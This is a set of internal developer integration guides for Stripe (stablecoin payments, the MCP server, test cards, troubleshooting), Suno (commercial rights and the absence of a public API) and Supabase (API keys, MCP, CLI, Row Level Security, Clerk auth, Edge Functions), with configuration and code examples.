Payment liability and marketplace structure have legal and tax consequences. Confirm the design with counsel and Stripe's Connect team before launch. This guide documents the technical mechanism, not legal advice.


Stablecoin payments

Accepting USDC through Stripe needs no wallet code and no key custody. Turn on the stablecoin payment method in Dashboard → Settings → Payment methods; it then appears in Checkout, Elements, Payment Links, Invoicing and Billing (subscriptions included) via dynamic payment methods.

Fact (docs.stripe.com/crypto/stablecoin-payments, 2026-10-20) Value
Accepted tokens USDC on Tempo, Ethereum, Solana, Polygon, Base; USDP (Ethereum, Solana; US-only); USDG (Ethereum; US-only)
Presentment currency USD (others in private preview)
Settlement Your Stripe balance, in your local currency
Who can accept US businesses; EU, HK, MX, CH in private preview
Per-transaction limit 10,000 USD
Disputes / chargebacks None (customer authenticates the payment)
Refunds Yes, partial too. Always returned as stablecoins to the original wallet
Manual capture Not supported
Connect All charge types; connected account needs crypto_payments capability (full-Dashboard sellers enable it themselves)
Price (US page) 1.5% of the transaction in USD, including conversion, AML screening and gas

Customers are redirected to crypto.stripe.com to pick a token and network and connect a wallet. Because settlement can be delayed, fulfil on payment_status === "paid" or checkout.session.async_payment_succeeded, not on redirect. On-chain work beyond acceptance (payouts to wallets, on-chain records) belongs in the blockchain/ guide.


Agents: MCP server, plugin, skills, toolkit

npm install -g @stripe/cli@latest
stripe agent setup     # detects Claude Code / Cursor / Codex…; installs MCP + skills, auto-updates

Manual alternative: npx skills add https://docs.stripe.com (no auto-update; run npx skills update -y). Skills index: https://docs.stripe.com/.well-known/skills/index.json.

Stripe MCP server (remote)

claude mcp add --transport http stripe https://mcp.stripe.com/
# then in Claude Code: /mcp  → OAuth consent

Headless agents that can't do OAuth: an agent API key (agent-tagged restricted key) as a bearer token, read from an env var:

{
  "mcpServers": {
    "stripe": {
      "type": "http",
      "url": "https://mcp.stripe.com",
      "headers": { "Authorization": "Bearer ${STRIPE_AGENT_API_KEY}" }
    }
  }
}

Deadline: 2026-11-30. From December 2026 the Stripe MCP stops accepting full-access secret keys and restricted keys without the Agent tag (401 with an OAuth challenge). Re-issue any MCP key as an agent-tagged key, or use OAuth.

For a Connect platform acting on a connected account, add a Stripe-Account: acct_... header. OAuth isn't supported for connected-account calls, so use an agent key.

Tool Purpose
stripe_api_search, stripe_api_details Find API methods and their parameters
stripe_api_read Any GET
stripe_api_write Any POST/PATCH/PUT/DELETE. Refunds and outbound payments require human confirmation via a URL (expires after 24 h)
search_stripe_documentation Docs + support articles
stripe_implementation_planner Guided integration planning
get_stripe_account_info Account details
stripe_analytics (Preview) metrics, subscription analysis, reports; Sigma SQL
atlas_company_formation Start a Delaware C-corp/LLC formation
Treasury tools (get_balance_summary, send_money, transfer_money, …) Public preview

The old create_refund / stripe_report tools from our previous review are no longer listed; refunds go through stripe_api_write. Keep your client's tool-approval setting on, and be careful combining the Stripe MCP with untrusted content (prompt injection). MCP tool calls are logged in Workbench.

The local npx -y @stripe/mcp (0.3.3) stdio server still exists for offline use, but the remote server is the documented default.

Agent toolkit (building our own agents)

@stripe/agent-toolkit (0.9.0, repo stripe/ai) exposes Stripe API calls as tools for LangChain, the Vercel AI SDK, and MCP servers. Give it a restricted key; tool availability follows the key's permissions. Use configuration.context.account to act for a connected account. Under codeAmani's AI routing policy, Claude-based agents use it through the AI SDK or MCP adapter.


Agentic commerce

For products where AI agents buy or sell (docs.stripe.com/agentic-commerce):

Treat all of this as opt-in per product. Don't add SPT acceptance to a normal SaaS checkout unless an agent channel is actually in scope.


Test cards

Card number Behaviour
4242 4242 4242 4242 Success
4000 0000 0000 9995 Declined (insufficient funds)
4000 0025 0000 3155 3D Secure required
4000 0000 0000 0002 Generic decline

Any future expiry, any 3-digit CVC. Full matrix: https://docs.stripe.com/testing. In code, prefer test PaymentMethod ids such as pm_card_visa.


Environment variables

Secrets (store in Hazina, never commit):

STRIPE_SECRET_KEY=rk_test_...              # restricted key preferred; sk_ still works
STRIPE_WEBHOOK_SECRET=whsec_...            # snapshot destination
STRIPE_THIN_WEBHOOK_SECRET=whsec_...       # thin destination (separate)
STRIPE_AGENT_API_KEY=rk_test_...           # agent-tagged key, only for MCP/agents

Non-secret settings:

Variable Example Notes
NEXT_PUBLIC_STRIPE_PUBLISHABLE_KEY pk_test_... Publishable key, browser-safe
STRIPE_PRICE_ID price_... Default subscription price
APP_URL https://app.example.com Used in success/return URLs
STRIPE_SUPPRESS_NOTICES true Optional; silences stripe-node notices in sandbox

The whsec_... printed by stripe listen is sandbox-only. Production uses the signing secret of the live event destination.


Troubleshooting

Issue Fix
400 payment_method_types_no_longer_supported You're on Endive. Remove payment_method_types; use allowed_payment_method_types or the Dashboard
IntegrationError mentioning paymentMethodTypes / paymentRequestButton Endive Stripe.js. Use allowedPaymentMethodTypes / Express Checkout Element
No such payment_intent Sandbox vs live key mismatch
Webhook 400, signature mismatch Use the raw body (req.text()); check you're using the right destination's secret (thin ≠ snapshot)
Replayed old webhooks accepted Someone passed tolerance: 0 (stripe@23 disables the check). Remove it
confirmation_secret undefined Expand latest_invoice.confirmation_secret, not .payment_intent
checkout.confirm is not a function You're inside <Elements>; Checkout-Sessions forms need CheckoutElementsProvider from @stripe/react-stripe-js/checkout
React peer-dependency error on install @stripe/react-stripe-js@7 needs React 19
stripe install fails on Node 18 stripe@23 needs Node ≥ 20
Stripe MCP returns 401 after Nov 2026 Key isn't agent-tagged. Re-issue as an agent key or use OAuth
npm i -g @stripe/stripe-cli 404s The package is @stripe/cli
stripe docs says key expired stripe login again (CLI v1.43.3+)

Stripe developer resources

Resource URL
Docs (append .md for Markdown) https://docs.stripe.com
API reference https://docs.stripe.com/api
Changelog / Endive https://docs.stripe.com/changelog · https://docs.stripe.com/changelog/endive
Upgrades guide https://docs.stripe.com/upgrades
Online payments (Checkout vs PaymentIntents) https://docs.stripe.com/payments/online-payments
Elements with Checkout Sessions https://docs.stripe.com/payments/accept-a-payment?payment-ui=elements&api-integration=checkout
Event destinations / webhooks https://docs.stripe.com/event-destinations · https://docs.stripe.com/webhooks
Billing / usage-based / test clocks https://docs.stripe.com/billing · https://docs.stripe.com/billing/subscriptions/usage-based · https://docs.stripe.com/billing/testing/test-clocks
Connect + Accounts v2 https://docs.stripe.com/connect/accounts-v2
Stablecoin payments https://docs.stripe.com/crypto/stablecoin-payments
MCP / agents / skills https://docs.stripe.com/mcp · https://docs.stripe.com/agents · https://docs.stripe.com/skills
Agentic commerce https://docs.stripe.com/agentic-commerce
Keys https://docs.stripe.com/keys
Pricing https://stripe.com/pricing
stripe-node https://github.com/stripe/stripe-node

Coding agents — rules & best practices

  1. Fetch before you write. stripe docs search "...", the MCP search_stripe_documentation tool, or a .md docs page. Stripe's surface moves every month; training data is stale.
  2. Never send payment_method_types. It's a 400 on Endive. Restrict with allowed_payment_method_types / excluded_payment_method_types, or the Dashboard.
  3. Checkout Sessions first. Reach for PaymentIntents only when the user explicitly needs to own the whole checkout.
  4. Pin apiVersion: "2026-09-30.endive" and keep stripe on 23.x.
  5. Restricted keys, not secret keys, for new server code. Agent-tagged keys for agents and the MCP.
  6. No automatic_tax without an active registration.
  7. Raw body + signature check on every webhook. Never pass tolerance: 0.
  8. Idempotency key on every create; dedupe events on id.
  9. Thin events for new webhook endpoints.
  10. Keep human confirmation on MCP writes. stripe_api_write moves money.
  11. Tag Checkout Sessions with integration_identifier so flows can be compared in the Dashboard.

Version drift warning

Bundled agent skills and this guide carry static version tables that lag the live API. When they disagree, the live source wins:

npm view stripe version
curl -sL https://raw.githubusercontent.com/stripe/stripe-node/master/src/apiVersion.ts

codeAmani notes

Official docs:

Suno Integration Guide

Technology: suno · Category: ai · Last reviewed: 2026-10-21

Source: https://tech-stack.codeamanilabs.org/guide/suno

Insight:

Suno is the leading text-to-music product (v6 / v6-wild / v6-mini, up to 8 minutes per song), but as of 2026-10 it has NO public, self-serve API: the developer platform at platform.suno.com is partner-only (announced July 2026, curated intake, no public docs, keys, or pricing). The "Suno API" sites that sell keys are third-party wrappers, and Suno's Terms ban bots, scraping and reselling access — do not build client work on them. For codeAmani, Suno is a human-in-the-loop creative tool (make the jingle on a paid plan, re-host the file); programmatic music goes through a provider with a real contract (ElevenLabs Music) behind a swappable adapter until Suno grants partner access.

███████╗██╗   ██╗███╗   ██╗ ██████╗
██╔════╝██║   ██║████╗  ██║██╔═══██╗
███████╗██║   ██║██╔██╗ ██║██║   ██║
╚════██║██║   ██║██║╚██╗██║██║   ██║
███████║╚██████╔╝██║ ╚████║╚██████╔╝
╚══════╝ ╚═════╝ ╚═╝  ╚═══╝ ╚═════╝

Suno Integration Guide

Focus: Suno makes full songs (vocals + instruments + lyrics) from a text prompt — but there is no public API. Treat it as a creator tool with clear commercial-rights rules, keep programmatic music behind an adapter, and never wire client work to an unofficial wrapper.

Overview

Suno is a generative-music platform: type a description ("upbeat Afro-pop jingle for a Nairobi bakery, female vocals, Swahili chorus") or paste your own lyrics, and it returns a finished song with vocals. It is the most-used product in the category (Suno reported 2M+ paid subscribers and ~$300M ARR in Feb 2026).

Current models (help center, 2026-10-21):

Model What it is Plans
v6 Latest core model, recommended default Pro, Premier
v6-wild Experimental, genre-blending, drifts further from the prompt Pro, Premier
v6-mini Faster, lighter — quick iterations / drafts All plans (incl. free)
Custom Models Trained on your own uploaded music Pro, Premier

All v6 variants generate up to 8 minutes per song. The "Voices" feature (sing with your own voice) currently requires the older v5.5 model.

API status — read this first

Question Answer (2026-10-21)
Is there an official API? Partner-only. platform.suno.com is Suno's REST API developer platform ("generate original songs, covers, and mashups from a single prompt"), sign-in gated.
How do you get access? Suno's CPO announced a curated partner program on 2026-07-01 (Typeform intake linked from his LinkedIn post). No public docs, endpoints, keys, rate limits or pricing.
Can I spend my Pro/Premier credits via an API? No. Consumer credits are for the web/mobile app.
What about sites and repos advertising a "Suno API"? Not Suno, and not recommended. They are unofficial third-party wrappers or key resellers, typically driving a logged-in Suno session (cookies). This guide deliberately does not name or link any of them — see the ToS section.

Because no endpoint or schema is publicly documented, this guide deliberately contains no Suno HTTP calls. Do not invent them, and do not copy them from unofficial wrapper or reseller docs.

Official paths only. The only sanctioned ways to use Suno are the suno.com app (on a paid plan, for commercial work) and, once granted, Suno's own partner API. For music generated in code, use a provider with a public API and published terms (see "Programmatic music" below) — never an unofficial reseller.

Official Documentation

Source URL What it covers
What's new in v6 https://help.suno.com/en/articles/13924801 v6 / v6-wild / v6-mini, 8-minute limit, plan availability
Ownership https://help.suno.com/en/articles/2416769 Who owns songs on free vs Pro/Premier
Free-plan rights https://help.suno.com/en/articles/9601601 Non-commercial only, 50 daily credits
Developer platform https://platform.suno.com/ Partner API sign-in (no public docs)
Terms of Service https://suno.com/terms-of-service Revised 2026-08-10, effective 2026-09-03 — automation & resale bans
Pricing https://suno.com/pricing Current plan prices (they change — check before quoting a client)
Bark (open source) https://github.com/suno-ai/bark Suno's MIT-licensed text-to-audio model

Rights & ownership — the rule that matters

"Was I subscribed when I made the song?" — that single question decides commercial use.

Created on Who owns it Commercial use
Basic (free) Suno No — personal, non-commercial only; share via Suno link
Pro / Premier You Yes — and you keep that right after cancelling
Free, then upgraded later Suno No — upgrading is not retroactive

Ownership is not copyright. In the US, material made entirely by AI is not copyrightable; writing the prompt does not make you the author. If a human writes the lyrics, those lyrics are registrable, and some registrars may treat the whole song as human-authored with Suno as an instrument. Some distributors refuse uncopyrightable tracks — read their terms before promising a client Spotify distribution.

Terms of Service — why the wrappers are off-limits

Suno's Terms (effective 2026-09-03) prohibit, among other things:

A wrapper that replays your logged-in cookies is automated access by unofficial means, and a vendor selling "Suno API keys" is reselling access. Either can get the underlying account banned mid-campaign and puts the commercial rights of everything generated on it in question. codeAmani rule: no unofficial Suno wrappers in any shipped product.


How to actually use Suno at codeAmani

flowchart TD
    A["Need music"] --> B{"One-off creative asset?<br/>(jingle, ad bed, intro)"}
    B -->|"yes"| C["Make it in Suno on a<br/>Pro/Premier seat"]
    C --> D["Download WAV/MP3 + keep<br/>the song link as provenance"]
    D --> E["Re-host to R2"]
    B -->|"no — generated in-app<br/>per user/request"| F{"Suno partner access granted?"}
    F -->|"yes"| G["SunoProvider behind<br/>MusicProvider adapter"]
    F -->|"no (default)"| H["ElevenLabs Music API<br/>(see eleven-labs/ guide)"]

1. Creator workflow (works today)

  1. Generate on a company Pro or Premier seat — never a personal free account — so the company owns the output from the moment it is created.
  2. Write (or have the client write) the lyrics yourselves where possible: it strengthens the copyright position and lets you control Swahili/Sheng phrasing.
  3. Download the file and store the song URL + model + date + plan next to it as a provenance record.
  4. Re-host the audio in R2 (cloudflare-r2/) — do not hot-link Suno song pages from a product.

2. Programmatic music — adapter first

Code against an interface, not a vendor, so a Suno partner key can drop in later without touching call sites:

// lib/music/provider.ts
export interface MusicRequest {
  prompt: string;          // style + mood + instrumentation
  lyrics?: string;         // human-written lyrics, if any
  durationSeconds: number; // keep short: jingles are 15–60 s
  instrumental?: boolean;
}

export interface MusicResult {
  audioUrl: string;  // your R2 URL after re-hosting, never the provider's
  provider: "elevenlabs" | "suno";
  model: string;
  createdAt: string;
}

export interface MusicProvider {
  generate(req: MusicRequest): Promise<MusicResult>;
}

The default implementation today is ElevenLabs Music (music_v2_5, documented in eleven-labs/CLAUDE_CODE_INTEGRATION.md), which has a public API, pricing, and commercial terms. Add a SunoProvider only after Suno issues partner credentials and publishes the contract you can code against.

3. Bark — Suno's open-source model (not Suno songs)

Bark is Suno's MIT-licensed transformer text-to-audio model: speech in many languages, laughs/sighs, and short music snippets when you wrap text in ♪. It is not the model behind suno.com, it has not been updated since 2024, and its music is rough — useful for offline experiments, not deliverables.

pip install suno-bark
from bark import SAMPLE_RATE, generate_audio, preload_models
from scipy.io.wavfile import write as write_wav

preload_models()  # downloads weights on first run (GPU strongly recommended)
audio = generate_audio("♪ Fresh bread every morning, come on in ♪")
write_wav("jingle-draft.wav", SAMPLE_RATE, audio)

Bark is also available in Hugging Face Transformers (suno/bark, suno/bark-small) — see hugging-face/.


Prompting tips (creator workflow)

codeAmani notes

Official docs:

Supabase Integration Guide

Technology: supabase · Category: database · Last reviewed: 2026-10-17

Source: https://tech-stack.codeamanilabs.org/guide/supabase

Insight:

Supabase is Postgres + Auth + Storage + Edge Functions in one. Its superpower is RLS — push authorization into the database so multi-tenant isolation holds even when app code is wrong. It also ships pgvector, so relational data and RAG embeddings can live in the same DB.

███████╗██╗   ██╗██████╗  █████╗ ██████╗  █████╗ ███████╗███████╗
██╔════╝██║   ██║██╔══██╗██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔════╝
███████╗██║   ██║██████╔╝███████║██████╔╝███████║███████╗█████╗
╚════██║██║   ██║██╔═══╝ ██╔══██║██╔══██╗██╔══██║╚════██║██╔══╝
███████║╚██████╔╝██║     ██║  ██║██████╔╝██║  ██║███████║███████╗
╚══════╝ ╚═════╝ ╚═╝     ╚═╝  ╚═╝╚═════╝ ╚═╝  ╚═╝╚══════╝╚══════╝

Supabase Integration Guide

Focus: Postgres + RLS, publishable/secret API keys, SSR auth, Edge Functions, and Storage — wired into codeAmani's Next.js + Clerk stack, and driven from coding agents through the hosted Supabase MCP server and the supabase CLI.

Overview

Supabase is an open-source Firebase alternative built on Postgres. Every project gets a dedicated Postgres database, an auto-generated REST/GraphQL Data API, Auth, Storage, Realtime, and Deno-based Edge Functions. Authorization lives in the database as Row Level Security policies, so the Data API is safe to call straight from a browser.

Everything centers on one Postgres database, which makes Supabase easy to reason about:

flowchart TD
    APP["Your app<br/>supabase-js client"] --> CORE["Supabase<br/>built on Postgres"]
    AGENT["Coding agent<br/>hosted MCP + CLI"] --> CORE
    CORE --> DB["Postgres database<br/>+ RLS policies"]
    CORE --> AUTH["Auth<br/>Supabase Auth or Clerk"]
    CORE --> STORE["Storage<br/>buckets"]
    CORE --> RT["Realtime<br/>postgres_changes"]
    CORE --> FN["Edge Functions<br/>Deno + @supabase/server"]

Pinned versions (npm, verified 2026-10-17): @supabase/supabase-js 2.118.0 (v3 is only on the next tag — stay on v2), @supabase/ssr 0.12.7, @supabase/server 1.9.2, supabase CLI 2.121.0, @supabase/mcp-server-supabase 0.14.0. @supabase/auth-helpers-nextjs is deprecated — use @supabase/ssr.

Official Documentation

Resource URL
Supabase Docs https://supabase.com/docs
API keys (publishable / secret) https://supabase.com/docs/guides/getting-started/api-keys
Migrating to new API keys https://supabase.com/docs/guides/getting-started/migrating-to-new-api-keys
SSR client (Next.js) https://supabase.com/docs/guides/auth/server-side/creating-a-client
Connecting to Postgres https://supabase.com/docs/guides/database/connecting-to-postgres
Row Level Security https://supabase.com/docs/guides/database/postgres/row-level-security
Securing Edge Functions https://supabase.com/docs/guides/functions/auth
Clerk third-party auth https://supabase.com/docs/guides/auth/third-party/clerk
MCP server https://supabase.com/docs/guides/ai-tools/mcp
CLI reference https://supabase.com/docs/reference/cli
JavaScript client https://supabase.com/docs/reference/javascript/introduction

Every docs page is also served as markdown — append .md to the URL. Old paths (/guides/api/api-keys, /guides/getting-started/mcp, /guides/auth/server-side/nextjs) redirect to the canonical URLs above.


API keys

Supabase replaced the JWT-based anon / service_role keys with publishable and secret keys. The legacy keys still work but are deprecated by end of 2026. Both schemes run side by side, and creating new keys does not revoke the old ones.

Where the code runs Key Postgres role
Anything you ship — browser, mobile, CLI Publishable sb_publishable_... anon, or authenticated once a user token is attached
Anything you control — server, Edge Function, cron Secret sb_secret_... service_role (has BYPASSRLS)

Facts that trip agents up:

Get keys from the project's Connect dialog, Dashboard → Settings → API Keys, or the CLI: supabase projects api-keys --project-ref <ref>. A preview branch has its own keys — pass the branch's ref.


MCP server (agents)

The official server is the hosted HTTP endpoint https://mcp.supabase.com/mcp. Clients sign in over OAuth (dynamic client registration) — no personal access token for interactive use. When you run the local stack, the CLI serves a limited server at http://localhost:54321/mcp. Source: github.com/supabase/mcp.

# Claude Code (project scope), then run /mcp → supabase → Authenticate
claude mcp add --scope project --transport http supabase "https://mcp.supabase.com/mcp"

# Grok Build (writes ~/.grok/config.toml); verify with /mcps or `grok mcp doctor supabase`
grok mcp add supabase "https://mcp.supabase.com/mcp" --transport http

# Codex
codex mcp add supabase --url "https://mcp.supabase.com/mcp" && codex mcp login supabase

Cursor uses .cursor/mcp.json with { "mcpServers": { "supabase": { "url": "https://mcp.supabase.com/mcp" } } }. claude.ai has a Supabase connector in its directory.

Scoping options (URL query params)

{
  "mcpServers": {
    "supabase": {
      "type": "http",
      "url": "https://mcp.supabase.com/mcp?project_ref=<project-ref>&read_only=true&features=database,docs,debugging"
    }
  }
}
Param Effect
project_ref=<ref> Scope to one project; hides account tools
read_only=true Run every query as a read-only Postgres user
features=<groups> Enable only these groups: account, database, debugging, development, functions, branching, storage, docs
skip_elicitations=<tools> Skip form confirmations for create_project, create_branch, execute_sql, apply_migration. codeAmani: never set this.

Tools

All groups except Storage are on by default.

Group Tools
Database list_tables, list_extensions, list_migrations, apply_migration, execute_sql
Debugging query_logs (read-only SQL over logs), get_advisors
Development get_project_url, get_publishable_keys, generate_typescript_types
Edge Functions list_edge_functions, get_edge_function, deploy_edge_function, create_edge_function_secret
Account (not in project-scoped mode) list_projects, get_project, create_project, pause_project, restore_project, list_organizations, get_organization, get_cost, confirm_cost
Docs search_docs
Branching (paid plan) create_branch, list_branches, delete_branch, merge_branch, reset_branch, rebase_branch
Storage (off by default) list_storage_buckets, get_storage_config, update_storage_config

Elicitations: on clients that support them, the server pauses to confirm costs (create_project, create_branch) and destructive SQL (execute_sql, apply_migration). create_edge_function_secret opens a Dashboard URL where the human types the value — the value never passes through the agent. Treat both as guardrails, not guarantees.

CI / headless: create a scoped personal access token (one project, only the permissions your enabled tools need) and send Authorization: Bearer ${SUPABASE_ACCESS_TOKEN} to https://mcp.supabase.com/mcp?project_ref=${SUPABASE_PROJECT_REF}.

Security (codeAmani default): the server acts with your developer permissions, and data in your tables can carry prompt-injection text. Scope it (project_ref), run it read_only=true unless you are applying changes, prefer a development branch over production, keep per-call approval on, and never give it to end users.

Agent skills: npx skills add supabase/agent-skills installs Supabase's official development and security guidance for coding agents.


CLI

Install and authenticate

npm install -g supabase          # or: brew install supabase/tap/supabase
# Windows: scoop bucket add supabase https://github.com/supabase/scoop-bucket.git && scoop install supabase
supabase login                    # interactive; CI uses SUPABASE_ACCESS_TOKEN
supabase link --project-ref <ref>

Key commands

# Local stack (Docker or another container runtime)
supabase start                    # prints local publishable + secret keys
supabase status
supabase stop

# Migrations
supabase migration new add_posts
supabase db diff -f add_posts     # diff the LOCAL db against a shadow db → new migration file
supabase db reset                 # rebuild local db from migrations + seed
supabase db push                  # apply pending migrations to the linked project
supabase db pull                  # pull remote schema into a migration

# Inspect and lint
supabase db advisors              # security + performance advisors
supabase db lint                  # plpgsql type checks
supabase db query "select count(*) from posts"
supabase inspect db outliers      # also: locks, blocking, bloat, index-stats, ...

# Types (typescript is the default --lang)
supabase gen types --linked --lang=typescript > src/types/database.ts

# Edge Functions
supabase functions new stripe-webhook
supabase functions serve
supabase functions deploy stripe-webhook --no-verify-jwt   # only for signed webhooks
supabase secrets set STRIPE_WEBHOOK_SECRET=<value>          # the human runs this

# Keys
supabase projects api-keys --project-ref <ref>

There is no supabase logs command — read logs with the MCP query_logs tool or the Dashboard. Storage subcommands (storage ls|cp|mv|rm) need --experimental.


Client SDK

npm install @supabase/supabase-js
import { createClient } from "@supabase/supabase-js";
import type { Database } from "./types/database"; // supabase gen types --linked

const supabase = createClient<Database>(
  process.env.NEXT_PUBLIC_SUPABASE_URL!,
  process.env.NEXT_PUBLIC_SUPABASE_PUBLISHABLE_KEY!,
);

// Always destructure { data, error } and handle error explicitly
const { data, error } = await supabase
  .from("posts")
  .select("id, title, created_at")
  .eq("published", true)
  .order("created_at", { ascending: false })
  .limit(10);

// Realtime — RLS applies to what each subscriber receives
const channel = supabase
  .channel("db-changes")
  .on("postgres_changes", { event: "INSERT", schema: "public", table: "messages" }, (payload) => {
    handleNewMessage(payload.new);
  })
  .subscribe();

Environment variables

# Browser-safe (RLS-respecting)
NEXT_PUBLIC_SUPABASE_URL=https://<project-ref>.supabase.co
NEXT_PUBLIC_SUPABASE_PUBLISHABLE_KEY=sb_publishable_...

# Server-only — never prefix with NEXT_PUBLIC_
SUPABASE_SECRET_KEY=sb_secret_...

# Postgres (only if you use an ORM or a driver; copy hosts from the Connect dialog)
DATABASE_URL=postgresql://postgres.<project-ref>:<password>@<pooler-host>:6543/postgres
DIRECT_URL=postgresql://postgres:<password>@db.<project-ref>.supabase.co:5432/postgres

# CI only (interactive CLI/MCP use OAuth)
SUPABASE_ACCESS_TOKEN=sbp_...

Legacy names you will meet in older code: NEXT_PUBLIC_SUPABASE_ANON_KEY (→ publishable) and SUPABASE_SERVICE_ROLE_KEY (→ secret). Migrate them; don't add new uses.

Which Postgres connection

Code runs in Use Notes
Browser Data API (supabase-js) No connection string; RLS required
Vercel Functions / serverless Shared pooler, transaction mode (port 6543) Pool max: 1, prepare: false, ssl: 'require'
Migrations, pg_dump Direct (port 5432) IPv6 unless you buy the IPv4 add-on
Persistent backend on IPv4 only Shared pooler, session mode (port 5432)
High-throughput, paid plan Dedicated pooler db.<ref>.supabase.co:6543 Transaction mode only

The shared pooler host is aws-<index>-<region>.pooler.supabase.com and its username is postgres.<project-ref> — copy both from the Connect dialog; you can't derive the host from the region. Transaction mode loses session state (SET, advisory locks, LISTEN/NOTIFY, temp tables) and doesn't support prepared statements or pipelining.

// lib/db.ts — Postgres.js in a serverless function
import postgres from "postgres";

export const sql = postgres(process.env.DATABASE_URL!, {
  max: 1,          // one connection per warm instance
  prepare: false,  // transaction mode has no prepared statements
  ssl: "require",
});

Prisma uses pgbouncer=true on the pooled URL instead of prepare: false.


Row Level Security

RLS is how a browser-held publishable key stays safe. Enable it on every table in an exposed schema, then write policies for the anon and authenticated roles. RLS with no policies denies everything.

sequenceDiagram
    participant C as "Client"
    participant P as "Postgres + RLS"
    participant T as "posts table"
    C->>P: "select on posts as auth.uid"
    P->>P: "check policy auth.uid = user_id"
    alt "policy passes"
        P->>T: "read matching rows"
        T-->>C: "return user own posts"
    else "policy blocks"
        P-->>C: "return no rows"
    end
-- supabase/migrations/20261017000000_add_posts.sql
create table if not exists public.posts (
  id uuid primary key default gen_random_uuid(),
  user_id uuid not null references auth.users (id) on delete cascade,
  title text not null check (char_length(title) <= 200),
  created_at timestamptz not null default now()
);

alter table public.posts enable row level security;

create policy "posts_select_own" on public.posts
  for select to authenticated
  using ((select auth.uid()) = user_id);

create policy "posts_insert_own" on public.posts
  for insert to authenticated
  with check ((select auth.uid()) = user_id);

create index if not exists posts_user_id_idx on public.posts (user_id);

Performance rules from the RLS docs:

  1. Wrap auth helpers in select — (select auth.uid()) runs once per statement (an initPlan) instead of once per row.
  2. Always name the role with to authenticated (or to anon) so policies don't run for callers they can't apply to.
  3. Index every column a policy filters on (first column of a btree index).
  4. For lookups across tables, use a security definer function with set search_path = '' in a non-exposed schema, called as (select private.fn()).

UPDATE needs both using (the existing row) and with check (the new row). For the Clerk version of these policies, see the next section.


Auth: Clerk (codeAmani default) or Supabase Auth

Clerk as a third-party auth provider

codeAmani apps use Clerk for identity. Register Clerk as a third-party auth provider and Supabase accepts Clerk session tokens directly — RLS reads the Clerk user ID from auth.jwt() ->> 'sub'.

  1. Run Clerk's Connect with Supabase setup. It adds "role": "authenticated" to Clerk session tokens.
  2. Supabase Dashboard → Authentication → Third-Party Auth → Clerk. For the local stack, add to supabase/config.toml:
    [auth.third_party.clerk]
    enabled = true
    domain = "<your-instance>.clerk.accounts.dev"
    
  3. Give createClient an accessToken() callback that returns the Clerk session token.
// Client Component
"use client";
import { useSession } from "@clerk/nextjs";
import { createClient } from "@supabase/supabase-js";

export function useClerkSupabase() {
  const { session } = useSession();
  return createClient(
    process.env.NEXT_PUBLIC_SUPABASE_URL!,
    process.env.NEXT_PUBLIC_SUPABASE_PUBLISHABLE_KEY!,
    { async accessToken() { return (await session?.getToken()) ?? null; } },
  );
}
// Server Component / Route Handler / Server Action
import { auth } from "@clerk/nextjs/server";
import { createClient } from "@supabase/supabase-js";

export function createClerkSupabaseServerClient() {
  return createClient(
    process.env.NEXT_PUBLIC_SUPABASE_URL!,
    process.env.NEXT_PUBLIC_SUPABASE_PUBLISHABLE_KEY!,
    { async accessToken() { return (await auth()).getToken(); } },
  );
}

Clerk user IDs are strings like user_2abc..., so the owner column is text, not uuid:

create table public.tasks (
  id bigint generated always as identity primary key,
  name text not null,
  user_id text not null default (auth.jwt() ->> 'sub')
);
alter table public.tasks enable row level security;

create policy "tasks_select_own" on public.tasks
  for select to authenticated
  using ((select auth.jwt() ->> 'sub') = user_id);

create policy "tasks_insert_own" on public.tasks
  for insert to authenticated
  with check ((select auth.jwt() ->> 'sub') = user_id);

Clerk organization claims (o.id, o.rol) and the second-factor claim (fva) are also available to policies. The old JWT-template integration (sharing the Supabase JWT secret with Clerk) is deprecated since 2025-04-01.

Supabase Auth with SSR (when a project uses it instead of Clerk)

Install @supabase/supabase-js @supabase/ssr. Use createBrowserClient in Client Components and createServerClient (with getAll/setAll cookie accessors) on the server. A proxy refreshes the session cookie on each request:

// lib/supabase/server.ts
import { createServerClient } from "@supabase/ssr";
import { cookies } from "next/headers";

export async function createClient() {
  const cookieStore = await cookies();
  return createServerClient(
    process.env.NEXT_PUBLIC_SUPABASE_URL!,
    process.env.NEXT_PUBLIC_SUPABASE_PUBLISHABLE_KEY!,
    {
      cookies: {
        getAll: () => cookieStore.getAll(),
        setAll: (cookiesToSet) => {
          try {
            cookiesToSet.forEach(({ name, value, options }) => cookieStore.set(name, value, options));
          } catch {
            // Server Components can't write cookies; the proxy refreshes the session.
          }
        },
      },
    },
  );
}

// In a Server Component:
const supabase = await createClient();
const { data, error } = await supabase.auth.getClaims(); // verifies the JWT signature
if (error || !data) redirect("/login");

Which auth call to use:

Call Verifies? Use for
getClaims() Yes — locally against cached JWKS (asymmetric keys, default for new projects) or via Auth server Protecting pages and data
getUser() Yes — network call to Auth When you need the fresh user record
getSession() No — reads the cookie Only to forward a raw token; never for authorization

The proxy must return the supabaseResponse that setAll last built (or copy its cookies and cache-control/expires/pragma headers onto your own response), or the refreshed token is lost. Don't let a CDN or ISR cache a response that sets a session cookie — another user would receive it.


Edge Functions

Edge Functions run on Deno. Secure each one with withSupabase from @supabase/server, which checks the caller against the auth mode you declare and hands your handler preconfigured clients on ctx.

auth mode Accepts verify_jwt
'user' A user JWT on Authorization (gives RLS-scoped ctx.supabase) true (default)
'secret' / 'secret:<name>' A secret key on apikey (cron, workers, pg_net) false
'publishable' A publishable key on apikey false
'none' Anyone — you authenticate in the handler (signed webhooks) false

Pass an array (auth: ['user', 'secret']) to accept several; ctx.authMode says which matched. Use createSupabaseContext(req, { auth }) instead when you want to shape the 401 yourself.

// supabase/functions/stripe-webhook/index.ts — Stripe is codeAmani's default payments rail
import { withSupabase } from "npm:@supabase/server@1";
import Stripe from "npm:stripe";

const stripe = new Stripe(Deno.env.get("STRIPE_SECRET_KEY")!);
const cryptoProvider = Stripe.createSubtleCryptoProvider(); // Deno has no sync crypto

export default {
  fetch: withSupabase({ auth: "none" }, async (req, ctx) => {
    const body = await req.text();
    let event: Stripe.Event;
    try {
      event = await stripe.webhooks.constructEventAsync(
        body,
        req.headers.get("stripe-signature") ?? "",
        Deno.env.get("STRIPE_WEBHOOK_SECRET")!,
        undefined,
        cryptoProvider,
      );
    } catch (err) {
      console.error("Stripe signature verification failed:", err);
      return new Response("bad signature", { status: 400 });
    }

    // Idempotency: the unique event id makes retries a no-op
    const { error } = await ctx.supabaseAdmin
      .from("stripe_events")
      .upsert({ id: event.id, type: event.type }, { onConflict: "id", ignoreDuplicates: true });
    if (error) return new Response("db error", { status: 500 });

    return Response.json({ received: true });
  }),
};
